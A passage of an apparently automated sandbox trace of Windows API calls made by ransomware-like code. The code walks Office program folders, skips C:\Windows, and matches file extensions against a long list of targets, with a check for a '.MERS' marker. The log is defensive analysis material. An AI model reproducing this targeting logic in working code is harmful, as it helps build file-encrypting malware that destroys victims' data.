ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0262.327] RtlpDeCommitFreeBlock () [0262.327] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1 [0262.329] RtlpDeCommitFreeBlock () [0262.329] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1 [0262.334] RtlpDeCommitFreeBlock () [0262.334] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0262.340] RtlpDeCommitFreeBlock () [0262.340] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="GRAYCH~1.CSS")) returned 1 [0262.341] RtlpDeCommitFreeBlock () [0262.341] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0262.343] RtlpDeCommitFreeBlock () [0262.343] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0262.351] RtlpDeCommitFreeBlock () [0262.351] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0262.353] RtlpDeCommitFreeBlock () [0262.353] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0262.356] RtlpDeCommitFreeBlock () [0262.356] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions.css", cAlternateFileName="SOLUTI~1.CSS")) returned 1 [0262.357] RtlpDeCommitFreeBlock () [0262.357] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd01, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0262.358] RtlpDeCommitFreeBlock () [0262.358] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0262.359] RtlpDeCommitFreeBlock () [0262.359] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0262.359] RtlpDeCommitFreeBlock () [0262.359] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="FORMSS~1")) returned 0 [0262.359] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0262.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0262.360] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0262.448] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0262.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR") returned 56 [0262.448] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR") returned 1 [0262.448] lstrlenW (lpString="PUBSPAPR") returned 8 [0262.448] lstrcmpiW (lpString1="C:\\Windows", lpString2="PUBSPAPR") returned -1 [0262.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x4578138 [0262.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR") returned 56 [0262.448] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f088 [0263.683] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.689] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPERS.INI", cAlternateFileName="")) returned 1 [0263.698] lstrlenW (lpString="PAPERS.INI") returned 10 [0263.700] lstrlenW (lpString=".1cd") returned 4 [0263.702] lstrcmpiW (lpString1=".1cd", lpString2=".INI") returned -1 [0263.702] lstrlenW (lpString=".3ds") returned 4 [0263.702] lstrcmpiW (lpString1=".3ds", lpString2=".INI") returned -1 [0263.702] lstrlenW (lpString=".3fr") returned 4 [0263.702] lstrcmpiW (lpString1=".3fr", lpString2=".INI") returned -1 [0263.702] lstrlenW (lpString=".3g2") returned 4 [0263.702] lstrcmpiW (lpString1=".3g2", lpString2=".INI") returned -1 [0263.702] lstrlenW (lpString=".3gp") returned 4 [0263.702] lstrcmpiW (lpString1=".3gp", lpString2=".INI") returned -1 [0263.702] lstrlenW (lpString=".7z") returned 3 [0263.702] lstrcmpiW (lpString1=".7z", lpString2="INI") returned -1 [0263.702] lstrlenW (lpString=".accda") returned 6 [0263.702] lstrcmpiW (lpString1=".accda", lpString2="RS.INI") returned -1 [0263.702] lstrlenW (lpString=".accdb") returned 6 [0263.702] lstrcmpiW (lpString1=".accdb", lpString2="RS.INI") returned -1 [0263.702] lstrlenW (lpString=".accdc") returned 6 [0263.702] lstrcmpiW (lpString1=".accdc", lpString2="RS.INI") returned -1 [0263.702] lstrlenW (lpString=".accde") returned 6 [0263.702] lstrcmpiW (lpString1=".accde", lpString2="RS.INI") returned -1 [0263.703] lstrlenW (lpString=".accdt") returned 6 [0263.703] lstrcmpiW (lpString1=".accdt", lpString2="RS.INI") returned -1 [0263.703] lstrlenW (lpString=".accdw") returned 6 [0263.703] lstrcmpiW (lpString1=".accdw", lpString2="RS.INI") returned -1 [0263.703] lstrlenW (lpString=".adb") returned 4 [0263.703] lstrcmpiW (lpString1=".adb", lpString2=".INI") returned -1 [0263.703] lstrlenW (lpString=".adp") returned 4 [0263.703] lstrcmpiW (lpString1=".adp", lpString2=".INI") returned -1 [0263.703] lstrlenW (lpString=".ai") returned 3 [0263.703] lstrcmpiW (lpString1=".ai", lpString2="INI") returned -1 [0263.703] lstrlenW (lpString=".ai3") returned 4 [0263.703] lstrcmpiW (lpString1=".ai3", lpString2=".INI") returned -1 [0263.703] lstrlenW (lpString=".ai4") returned 4 [0263.703] lstrcmpiW (lpString1=".ai4", lpString2=".INI") returned -1 [0263.703] lstrlenW (lpString=".ai5") returned 4 [0263.703] lstrcmpiW (lpString1=".ai5", lpString2=".INI") returned -1 [0263.703] lstrlenW (lpString=".ai6") returned 4 [0263.703] lstrcmpiW (lpString1=".ai6", lpString2=".INI") returned -1 [0263.703] lstrlenW (lpString=".ai7") returned 4 [0263.703] lstrcmpiW (lpString1=".ai7", lpString2=".INI") returned -1 [0263.703] lstrlenW (lpString=".ai8") returned 4 [0263.704] lstrcmpiW (lpString1=".ai8", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".anim") returned 5 [0263.704] lstrcmpiW (lpString1=".anim", lpString2="S.INI") returned -1 [0263.704] lstrlenW (lpString=".arw") returned 4 [0263.704] lstrcmpiW (lpString1=".arw", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".as") returned 3 [0263.704] lstrcmpiW (lpString1=".as", lpString2="INI") returned -1 [0263.704] lstrlenW (lpString=".asa") returned 4 [0263.704] lstrcmpiW (lpString1=".asa", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".asc") returned 4 [0263.704] lstrcmpiW (lpString1=".asc", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".ascx") returned 5 [0263.704] lstrcmpiW (lpString1=".ascx", lpString2="S.INI") returned -1 [0263.704] lstrlenW (lpString=".asm") returned 4 [0263.704] lstrcmpiW (lpString1=".asm", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".asmx") returned 5 [0263.704] lstrcmpiW (lpString1=".asmx", lpString2="S.INI") returned -1 [0263.704] lstrlenW (lpString=".asp") returned 4 [0263.704] lstrcmpiW (lpString1=".asp", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".aspx") returned 5 [0263.704] lstrcmpiW (lpString1=".aspx", lpString2="S.INI") returned -1 [0263.704] lstrlenW (lpString=".asr") returned 4 [0263.704] lstrcmpiW (lpString1=".asr", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".asx") returned 4 [0263.704] lstrcmpiW (lpString1=".asx", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".avi") returned 4 [0263.704] lstrcmpiW (lpString1=".avi", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".avs") returned 4 [0263.704] lstrcmpiW (lpString1=".avs", lpString2=".INI") returned -1 [0263.704] lstrlenW (lpString=".backup") returned 7 [0263.704] lstrcmpiW (lpString1=".backup", lpString2="ERS.INI") returned -1 [0263.704] lstrlenW (lpString=".bak") returned 4 [0263.705] lstrcmpiW (lpString1=".bak", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".bay") returned 4 [0263.705] lstrcmpiW (lpString1=".bay", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".bd") returned 3 [0263.705] lstrcmpiW (lpString1=".bd", lpString2="INI") returned -1 [0263.705] lstrlenW (lpString=".bin") returned 4 [0263.705] lstrcmpiW (lpString1=".bin", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".bmp") returned 4 [0263.705] lstrcmpiW (lpString1=".bmp", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".bz2") returned 4 [0263.705] lstrcmpiW (lpString1=".bz2", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".c") returned 2 [0263.705] lstrcmpiW (lpString1=".c", lpString2="NI") returned -1 [0263.705] lstrlenW (lpString=".cdr") returned 4 [0263.705] lstrcmpiW (lpString1=".cdr", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".cer") returned 4 [0263.705] lstrcmpiW (lpString1=".cer", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".cf") returned 3 [0263.705] lstrcmpiW (lpString1=".cf", lpString2="INI") returned -1 [0263.705] lstrlenW (lpString=".cfc") returned 4 [0263.705] lstrcmpiW (lpString1=".cfc", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".cfm") returned 4 [0263.705] lstrcmpiW (lpString1=".cfm", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".cfml") returned 5 [0263.705] lstrcmpiW (lpString1=".cfml", lpString2="S.INI") returned -1 [0263.705] lstrlenW (lpString=".cfu") returned 4 [0263.705] lstrcmpiW (lpString1=".cfu", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".chm") returned 4 [0263.705] lstrcmpiW (lpString1=".chm", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".cin") returned 4 [0263.705] lstrcmpiW (lpString1=".cin", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".class") returned 6 [0263.705] lstrcmpiW (lpString1=".class", lpString2="RS.INI") returned -1 [0263.705] lstrlenW (lpString=".clx") returned 4 [0263.705] lstrcmpiW (lpString1=".clx", lpString2=".INI") returned -1 [0263.705] lstrlenW (lpString=".config") returned 7 [0263.706] lstrcmpiW (lpString1=".config", lpString2="ERS.INI") returned -1 [0263.706] lstrlenW (lpString=".cpp") returned 4 [0263.706] lstrcmpiW (lpString1=".cpp", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".cr2") returned 4 [0263.706] lstrcmpiW (lpString1=".cr2", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".crt") returned 4 [0263.706] lstrcmpiW (lpString1=".crt", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".crw") returned 4 [0263.706] lstrcmpiW (lpString1=".crw", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".cs") returned 3 [0263.706] lstrcmpiW (lpString1=".cs", lpString2="INI") returned -1 [0263.706] lstrlenW (lpString=".css") returned 4 [0263.706] lstrcmpiW (lpString1=".css", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".csv") returned 4 [0263.706] lstrcmpiW (lpString1=".csv", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".cub") returned 4 [0263.706] lstrcmpiW (lpString1=".cub", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".dae") returned 4 [0263.706] lstrcmpiW (lpString1=".dae", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".dat") returned 4 [0263.706] lstrcmpiW (lpString1=".dat", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".db") returned 3 [0263.706] lstrcmpiW (lpString1=".db", lpString2="INI") returned -1 [0263.706] lstrlenW (lpString=".dbf") returned 4 [0263.706] lstrcmpiW (lpString1=".dbf", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".dbx") returned 4 [0263.706] lstrcmpiW (lpString1=".dbx", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".dc3") returned 4 [0263.706] lstrcmpiW (lpString1=".dc3", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".dcm") returned 4 [0263.706] lstrcmpiW (lpString1=".dcm", lpString2=".INI") returned -1 [0263.706] lstrlenW (lpString=".dcr") returned 4 [0263.707] lstrcmpiW (lpString1=".dcr", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".der") returned 4 [0263.707] lstrcmpiW (lpString1=".der", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".dib") returned 4 [0263.707] lstrcmpiW (lpString1=".dib", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".dic") returned 4 [0263.707] lstrcmpiW (lpString1=".dic", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".dif") returned 4 [0263.707] lstrcmpiW (lpString1=".dif", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".divx") returned 5 [0263.707] lstrcmpiW (lpString1=".divx", lpString2="S.INI") returned -1 [0263.707] lstrlenW (lpString=".djvu") returned 5 [0263.707] lstrcmpiW (lpString1=".djvu", lpString2="S.INI") returned -1 [0263.707] lstrlenW (lpString=".dng") returned 4 [0263.707] lstrcmpiW (lpString1=".dng", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".doc") returned 4 [0263.707] lstrcmpiW (lpString1=".doc", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".docm") returned 5 [0263.707] lstrcmpiW (lpString1=".docm", lpString2="S.INI") returned -1 [0263.707] lstrlenW (lpString=".docx") returned 5 [0263.707] lstrcmpiW (lpString1=".docx", lpString2="S.INI") returned -1 [0263.707] lstrlenW (lpString=".dot") returned 4 [0263.707] lstrcmpiW (lpString1=".dot", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".dotm") returned 5 [0263.707] lstrcmpiW (lpString1=".dotm", lpString2="S.INI") returned -1 [0263.707] lstrlenW (lpString=".dotx") returned 5 [0263.707] lstrcmpiW (lpString1=".dotx", lpString2="S.INI") returned -1 [0263.707] lstrlenW (lpString=".dpx") returned 4 [0263.707] lstrcmpiW (lpString1=".dpx", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".dqy") returned 4 [0263.707] lstrcmpiW (lpString1=".dqy", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".dsn") returned 4 [0263.707] lstrcmpiW (lpString1=".dsn", lpString2=".INI") returned -1 [0263.707] lstrlenW (lpString=".dt") returned 3 [0263.707] lstrcmpiW (lpString1=".dt", lpString2="INI") returned -1 [0263.708] lstrlenW (lpString=".dtd") returned 4 [0263.708] lstrcmpiW (lpString1=".dtd", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".dwg") returned 4 [0263.708] lstrcmpiW (lpString1=".dwg", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".dwt") returned 4 [0263.708] lstrcmpiW (lpString1=".dwt", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".dx") returned 3 [0263.708] lstrcmpiW (lpString1=".dx", lpString2="INI") returned -1 [0263.708] lstrlenW (lpString=".dxf") returned 4 [0263.708] lstrcmpiW (lpString1=".dxf", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".edml") returned 5 [0263.708] lstrcmpiW (lpString1=".edml", lpString2="S.INI") returned -1 [0263.708] lstrlenW (lpString=".efd") returned 4 [0263.708] lstrcmpiW (lpString1=".efd", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".elf") returned 4 [0263.708] lstrcmpiW (lpString1=".elf", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".emf") returned 4 [0263.708] lstrcmpiW (lpString1=".emf", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".emz") returned 4 [0263.708] lstrcmpiW (lpString1=".emz", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".epf") returned 4 [0263.708] lstrcmpiW (lpString1=".epf", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".eps") returned 4 [0263.708] lstrcmpiW (lpString1=".eps", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".epsf") returned 5 [0263.708] lstrcmpiW (lpString1=".epsf", lpString2="S.INI") returned -1 [0263.708] lstrlenW (lpString=".epsp") returned 5 [0263.708] lstrcmpiW (lpString1=".epsp", lpString2="S.INI") returned -1 [0263.708] lstrlenW (lpString=".erf") returned 4 [0263.708] lstrcmpiW (lpString1=".erf", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".exr") returned 4 [0263.708] lstrcmpiW (lpString1=".exr", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".f4v") returned 4 [0263.708] lstrcmpiW (lpString1=".f4v", lpString2=".INI") returned -1 [0263.708] lstrlenW (lpString=".fido") returned 5 [0263.709] lstrcmpiW (lpString1=".fido", lpString2="S.INI") returned -1 [0263.709] lstrlenW (lpString=".flm") returned 4 [0263.709] lstrcmpiW (lpString1=".flm", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".flv") returned 4 [0263.709] lstrcmpiW (lpString1=".flv", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".frm") returned 4 [0263.709] lstrcmpiW (lpString1=".frm", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".fxg") returned 4 [0263.709] lstrcmpiW (lpString1=".fxg", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".geo") returned 4 [0263.709] lstrcmpiW (lpString1=".geo", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".gif") returned 4 [0263.709] lstrcmpiW (lpString1=".gif", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".grs") returned 4 [0263.709] lstrcmpiW (lpString1=".grs", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".gz") returned 3 [0263.709] lstrcmpiW (lpString1=".gz", lpString2="INI") returned -1 [0263.709] lstrlenW (lpString=".h") returned 2 [0263.709] lstrcmpiW (lpString1=".h", lpString2="NI") returned -1 [0263.709] lstrlenW (lpString=".hdr") returned 4 [0263.709] lstrcmpiW (lpString1=".hdr", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".hpp") returned 4 [0263.709] lstrcmpiW (lpString1=".hpp", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".hta") returned 4 [0263.709] lstrcmpiW (lpString1=".hta", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".htc") returned 4 [0263.709] lstrcmpiW (lpString1=".htc", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".htm") returned 4 [0263.709] lstrcmpiW (lpString1=".htm", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".html") returned 5 [0263.709] lstrcmpiW (lpString1=".html", lpString2="S.INI") returned -1 [0263.709] lstrlenW (lpString=".icb") returned 4 [0263.709] lstrcmpiW (lpString1=".icb", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".ics") returned 4 [0263.709] lstrcmpiW (lpString1=".ics", lpString2=".INI") returned -1 [0263.709] lstrlenW (lpString=".iff") returned 4 [0263.710] lstrcmpiW (lpString1=".iff", lpString2=".INI") returned -1 [0263.710] lstrlenW (lpString=".inc") returned 4 [0263.710] lstrcmpiW (lpString1=".inc", lpString2=".INI") returned -1 [0263.710] lstrlenW (lpString=".indd") returned 5 [0263.710] lstrcmpiW (lpString1=".indd", lpString2="S.INI") returned -1 [0263.710] lstrlenW (lpString=".ini") returned 4 [0263.710] lstrcmpiW (lpString1=".ini", lpString2=".INI") returned 0 [0263.710] lstrlenW (lpString="PAPERS.INI") returned 10 [0263.710] lstrlenW (lpString=".MERS") returned 5 [0263.710] lstrcmpiW (lpString1=".MERS", lpString2="S.INI") returned -1 [0263.710] lstrlenW 